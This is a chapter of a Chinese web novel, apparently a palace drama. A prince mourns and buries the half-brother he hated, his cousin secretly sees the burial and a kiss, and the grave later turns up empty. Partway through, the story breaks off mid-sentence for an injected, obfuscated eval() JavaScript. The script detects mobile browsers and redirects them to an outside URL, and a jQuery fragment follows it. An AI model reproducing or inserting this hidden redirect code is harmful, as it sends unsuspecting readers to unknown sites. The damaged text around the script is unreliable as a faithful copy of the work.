起兵之时,萧凌晏曾数度设想,他恨了上千日夜的人会如何惨死在他手中,届时他会何等畅快解恨,可此时此刻,真真切切触碰着此人尸身,并无想象中的半分快意,他的指尖竟是在发抖。
他下意识否认,这妖物奸诈狡猾,岂会死得这么容易?可他的身体如此冰冷,如此安静……明明不久前还那般恼怒愤然,活色生香。
他神情怔然,仿佛魂游天外,唯有身躯不受控制地自榻上跌滚,堪称狼狈地抱起地上冰冷的躯壳,搂紧在怀里,莫名难以呼吸,浑身抖若筛糠。
怎会如此?他罕见地迷茫,觉得自己大抵是被怀里这具身体冻着了,直至瞧见连串水珠滴落在怀中人面上,洗净血污,他才后知后觉,啊,原是泪意堵塞了他的呼吸,是心脏处汹涌泵出潮水般的痛楚叫他的身躯战栗不止。
不应这样的。仇人惨死,他应扬眉吐气才是。
可躯体的反应与他的设想大相径庭,它挣脱理智的束缚,一遍又一遍擦拭尸身面上残余的血迹,搂紧的双臂像是要把这具残破的躯骸融进骨血,口中无措呢喃,唤着他的名字,声声念着兄长。
仿佛人死去了,他的仇恨便成了风中残烛,被那点拿不出手的余情彻底盖过了一般。
他为何会睡着?他明明正给这人束发的,性子这般冷硬,发丝却柔顺滑腻,他甚至还能清晰地回忆那时手上的触感,可为何那之后的事,他便毫无印象了?
屋外乌云盖顶,天地昏暗,叫人不分昼夜,难辨时辰。他抱着人呆坐许久,口中喃喃不知何时止息。屋里一片死寂,电光掠过,墙上投下他雕像般漆黑而又沉默的影。
他是不是……不该回来?不该锁住他?
可他回来又有何错?这本就是他的家。不锁住他,心头仇恨又该何解?
惊雷炸响,暴雨倾盆,彻底撕裂屋内沉闷死寂,他方如梦初醒。
他抱着人颓然起身,却险些跪倒,酸麻的四肢空前沉重,关节中如嵌入细小碎片,每一步都觉刺痛。他将人放回榻上,盯了许久才转身出门。
是谁?到底是谁!
他听见有什么在怒吼,看见院外守门的亲兵们突然扑通跪下,瑟瑟发抖,惶恐而困惑地抬眼瞄他,才反应过来是自己的声音,他到底也成了自己最厌恶的样子了,无能为力,只会泄愤。
“殿下息怒,”亲兵随他征战多日,何曾见他如此失态过,自是惊惧交加,“属下愚笨,还请殿下明白示下……”
“谁来过?”他暴怒地一把将人从地上拎了起来,“谁准你们放人进来的?”
谁如此神通广大,能悄无声息让他昏睡,趁机取走那人性命?他都不曾想过杀他,何人敢越他雷池!
“不曾……不曾有人来过……”青年颤声求饶,“殿下明鉴,属下等谨遵圣命,岂敢放人出入?况……况且宫人都还未醒,不应有人……”
不曾?怎么可能?他扫过众人不知所措,写满恐惧的脸,忽丢下手中人,疾步迈入雨帘。
他也不知自己要去哪儿,胸口涌动着杀意,将他的肺腑内里撕扯得变形,可他却又不知要杀谁,残存的理智让他远离活人,以免见人便大开杀戒。
“殿下!”忽有人高声喊住了他,急促脚步声自身后匆匆而至,一把伞撑在他头顶。
秦协气喘吁吁,浑身湿透,不知从何处赶来:“殿下怎么耽误了这么久?车驾已在宫门口候了近两个多时辰,早该动身了,皇后娘娘还盼着您呢。”
母后……彻骨冬雨浸透衣衫,终于浇熄他的失控狂暴,掌中已然出鞘的利剑哐当落地。他望着无尽雨帘,忽心生恐惧,母后问起那人,他又该……如何作答呢?
见他魂不守舍,秦协不由心生忧虑。殿下说今日要亲自去接皇后娘娘回宫,他于是一大早便命人备好车马,预备来请人,却不想侍卫说殿下不许人打扰,他便只得等着,谁料等着等着竟是侍卫匆匆来报,言说殿下从屋内出来后便大发雷霆,他心觉不对,忙赶了过来,便见人形容前所未有的狼狈,唇上带伤,面色惨白,漆黑的瞳孔中却戾气纷飞,杀气滔天。
他实不知发生了什么,又不敢问,只得搬出姑母。这一手倒是立竿见影,身前人平静下来。
沉默良久,他终是低声道:“改日吧。雨太大了。”
“是。”秦协动了动唇,还是忍不住劝道:“您先回去换身衣服吧,都湿透了。娘娘若知了该心疼的。”
“……”萧凌晏无言,转身往回走。秦协只得举伞跟上,可到了崇光殿门口,他却被哐当合上的门拦在外头。
原地转了几圈,他咬咬牙,顶着手下们欲言又止的目光,悄悄趴在门上偷看。他也是没法儿了,谁叫殿下今日如此反常。
“大人……”
他抬手打断侍卫劝阻,悄声道:“帮我看着,有人来了知会一声。”
透过缝隙,秦协瞥见院内一片狼藉。他不由心惊,难不成殿下之前是在院中掘地不成?可人力怎么挖,都不该将地面弄得这般裂痕密布才是。
他看见人进了屋子,过了许久才出来,手里抱着个什么东西,瞧着像是……秦协霎时瞪大眼睛,一时忘了呼吸。
虽离得远,雨又大,但习武多年,目力自是差不了,他瞧得分明,殿下怀中,分明是人,且这人,正是……他百思不得其解,殿下不是说他逃走了吗,这又是?
秦协心知自己不该再偷看下去了,可他的脚就像黏在地上,动弹不得。娘总说他这好奇多事的性子总有一天会害了他,他从来只当耳旁风,或许今日便要叫她一语成谶了……但换是别人站着儿应也会震惊地挪不开眼:他看见殿下垂首亲吻了怀中人,凝视许久后,又轻轻将人放入院中那巨大的坑洞之中。
亲娘咧!他心中震撼无以言喻,一时不知自己该先为哪件事惊掉下巴,弑兄埋尸……还是此前那个惊世骇俗的亲吻。
原来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522720|186286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
殿下喜欢男人啊,难怪不近女色……不对不对,关键是这个吗?!他浑身僵直,心头只一个想法,殿下若知他偷偷看见了一切,绝对会杀了他。
为争皇位手足相残已是皇室秘辛,更何况还……他突然就明悟了,为何殿下从来不与同龄的兄弟们亲近,对他这个表兄也态度平平,唯这身世成谜的三皇子得其青睐……原来如此。
他一时间心如擂鼓,下意识蹭蹭后退两步。不行,此事不能被任何人知道。
见他如此反应,旁人也被勾起好奇心,刚想扭头学着他偷瞧,便被秦协一掌呼开:“大胆!”
他环视一周:“都退下,此处有我守着。”
“可……”侍卫不大服气,你都看得,凭什么我们看不得?
“可什么?”秦协冷哼,“要违抗军令?”
“……”
轰走众人后,他惆怅地坐在檐下发呆。这可坏了,若是姑母知道他两竟这般搅和不清,又死了一个,哪受得住啊!且殿下不日便要登基,这副神思不属的状态,真能撑得过文武百官毒辣的打量?
他久坐想不出招,又站起身来回踱步良久。愁啊,姑母,你这两儿子咋这样?
院内忽传来萧凌晏的声音:“来人。”
秦协忐忑,犹豫半晌,还是推门而入,他飞快瞄了眼埋尸处,土已掩埋好,而殿下便坐在附近的一块岩石上,静静盯着土壤被雨水浸透。
萧凌晏头也不抬:“取酒来。”
“殿下……”秦协还想劝,萧凌晏抬眸瞥了一眼,也不知是否是出于心虚,他顿觉遍体生寒,忙点头应是。
冷酒入喉,其实已起不了半分作用,于萧凌晏而言已同这纷飞的瓢泼冬雨无异,可他还是舍不得放下,人会离开他,这等死物不会,还是他熟悉的样子,冰冷割喉,又炽热灼胃。
他没日没夜盯着那片土,希冀下一瞬间便能冒出新芽,最好是一眨眼那颗病殃殃的桃树便破土而出,继续占着这块宝贵的皇家地皮,不结果不开花不长叶也罢,立在那儿便好。
可好多日了,它还是这般死寂。
他觉愤愤,那人本体不是一棵树吗?即是树,入了土便该活过来才是,为何这么多日还是毫无动静?
他觉他应有点耐心,树长出来要好多年的,可他做不到,已过去了好多天,好多个时辰,好多次呼吸……那人怎么又敢把他一个人丢在这鬼地方这么久?
他再没耐心了。他等不了第二个三年。他魔怔,他像被鬼魅蒙了心,月黑风高夜,他睁着血丝遍布的眼,一铲一铲挖开三日前亲手填上的土。
坑里空空如也。
他不信,觉自己挖得不够深,又跳进坑里继续挖,铲子触碰到坚硬岩块时,他再骗不了自己了。尸身也好,树也好,大抵是都回不来了。
“你……又发什么疯?”
他下意识抬头,便见那死了的人正站在坑边,低头惊愕望着他。